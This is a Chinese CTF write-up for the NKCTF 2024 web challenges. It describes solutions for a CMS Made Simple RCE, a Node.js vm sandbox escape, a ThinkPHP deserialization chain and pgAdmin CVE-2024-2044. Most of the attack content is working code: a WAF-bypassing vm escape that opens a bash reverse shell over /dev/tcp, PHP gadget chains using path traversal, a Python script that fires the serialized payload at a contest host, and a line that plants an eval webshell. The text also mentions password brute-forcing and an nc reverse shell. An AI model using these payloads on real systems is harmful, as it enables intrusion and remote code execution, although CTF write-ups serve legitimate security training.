NKCTF-2024-Web

My first CMS

通过搜索CVE得知
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CMS%20Made%20Simple
两个后台RCE分别是CVE-2024-27623CVE-2024-27622
通过忘记密码功能,得到用户名admin,接着爆破密码
得到密码Admin123,登陆后台RCE即可

全世界最简单的CTF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const express = require('express');  
const bodyParser = require('body-parser');  
const app = express();  
const fs = require("fs");  
const path = require('path');  
const vm = require("vm");  
app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public')))   
app.get('/',  
function(req, res) {  
    res.sendFile(__dirname + '/public/home.html');  
})   
function waf(code) {  
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;  
    if (code.match(pattern)) {  
        throw new Error("what can I say? hacker out!!");  
    }  
}  
app.post('/',  
function(req, res) {  
    let code = req.body.code;  
    let sandbox = Object.create(null);  
    let context = vm.createContext(sandbox);  
    try {  
        waf(code)   
        let result = vm.runInContext(code, context);  
        console.log(result);  
    } catch(e) {  
        console.log(e.message);  
        require('./hack');  
    }  
})   
app.get('/secret',  
function(req, res) {  
    console.log(process.__filename);  
    if (process.__filename == null) {  
        let content = fs.readFileSync(__filename, "utf-8");  
        return res.send(content);  
    } else {  
        let content = fs.readFileSync(process.__filename, "utf-8");  
        return res.send(content);  
    }  
})   
app.listen(3000, () => {  
    console.log("listen on 3000");  
})  

考察vm逃逸,以及RCE绕过
参考文章
https://mp.weixin.qq.com/s/G7RQJVYnwa1KdtnzyP32BA
https://www.anquanke.com/post/id/237032
构造出payload

1
2
3
4
5
6
7
8
throw new Proxy({}, {  
        get: function(){  
            const cc = arguments.callee.caller;  
            const p = (cc.constructor.constructor(`${`${`return proces`}s`}`))();  
            const q = p.mainModule.require(`${`${`child_proces`}s`}`)  
            return Reflect.get(q, Reflect.ownKeys(q).find(x=>x.includes(`cSync`)))(`bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'`).toString()  
        }  
    })  

用过就是熟悉

user/index/loginSubmit存在反序列化

1
2
3
4
//你知道tp吗?  
if($data['name']==='guest'){  
	unserialize(base64_decode($data['password']));  
}  

挖一条链子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
namespace think\process\pipes{  
    use think\Collection;  
    class Windows{  
        private $files = [];  
        public function __construct(){  
            $this->files=[new Collection];  
        }  
    }  
    echo base64_encode(serialize(new Windows));  
}  
namespace think{  
    class Collection{  
        protected $items;  
        public function __construct(){  
            $this->items = new View;  
        }  
  
    }  
    class View{  
        protected $data = [];  
        public $engine = [];  
        public function __construct(){  
            $this->data["Loginout"]=new Debug; #写入tips  
            $this->engine['time']="10086";  
  
        }  
    }  
    class Debug{  
    }  
}  
?>  

由于文件名存在随机性,所以需要配合本地docker同时写入,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests  
import time  
  
url1 = "http://127.0.0.1:3101/?user/index/loginSubmit"  
url2 = "http://89519612-bb1c-465b-921b-d01e8a3ce7e4.node.nkctf.yuzhian.com.cn/?user/index/loginSubmit"  
burp0_headers = {"sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"", "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", "sec-ch-ua-platform": "\"macOS\"", "Origin": "http://localhost:3101", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:3101/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}  
burp0_data = {"name": "guest", "password": "TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ=="}  
r=requests.post(url1, headers=burp0_headers, data=burp0_data)  
r=requests.post(url2, headers=burp0_headers, data=burp0_data)  
print(r.status_code)  
r=requests.post(url1, headers=burp0_headers, data=burp0_data)  

得到文件名
7c5d4e0dc66c95954008f97b3f0cf6fa
https://89519612-bb1c-465b-921b-d01e8a3ce7e4.node.nkctf.yuzhian.com.cn/app/controller/user/think/7c5d4e0dc66c95954008f97b3f0cf6f
访问即可得到hint

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
亲爱的Chu0,  
  
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。  
  
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。  
  
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。  
  
  
  
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>  
  
  
  
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。  
  
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。  
  
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。  
  
  
  
POST /?user/index/loginSubmit HTTP/1.1  
Host: 192.168.128.2  
Content-Length: 162  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://192.168.128.2  
Referer: http://192.168.128.2/  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx  
Connection: close  
  
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit  
  
hint: 新建文件  

guest/!@!@!@!@NKCTFChu0
我的文档处上传文件,利用链子去包含即可

1
<?php system("echo '<?php eval(\$_POST[1]);?>' > /var/www/html/app/1.php");?>  
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
namespace think\process\pipes{  
    use think\Collection;  
    class Windows{  
        private $files = [];  
        public function __construct(){  
            $this->files=[new Collection];  
        }  
    }  
    echo base64_encode(serialize(new Windows));  
}  
namespace think{  
    class Collection{  
        protected $items;  
        public function __construct(){  
            $this->items = new View;  
        }  
  
    }  
    class View{  
        protected $data = [];  
        public $engine = [];  
        public function __construct(){  
            $this->data["Loginout"]=new Config;  
            $this->engine['name']="../../../../../../../../../../../../../../../../var/www/html/data/files/202403/23_fb210ebc/huahua.txt";  
            // $this->data["Loginout"]=new Debug; #写入tips  
            // $this->engine['time']="10086";  
  
        }  
    }  
    class Config{  
    }  
    # 写入tips  
    // class Debug{  
  
    // }  
}  
?>  

得到flag

attack_tacooooo

tacooooo@qq.com:tacooooo
登陆之后,考察CVE-2024-2044
根据此篇文章复现
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
nc反弹shell,后找一个linux信息收集脚本找flag
利用wget上传
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

0%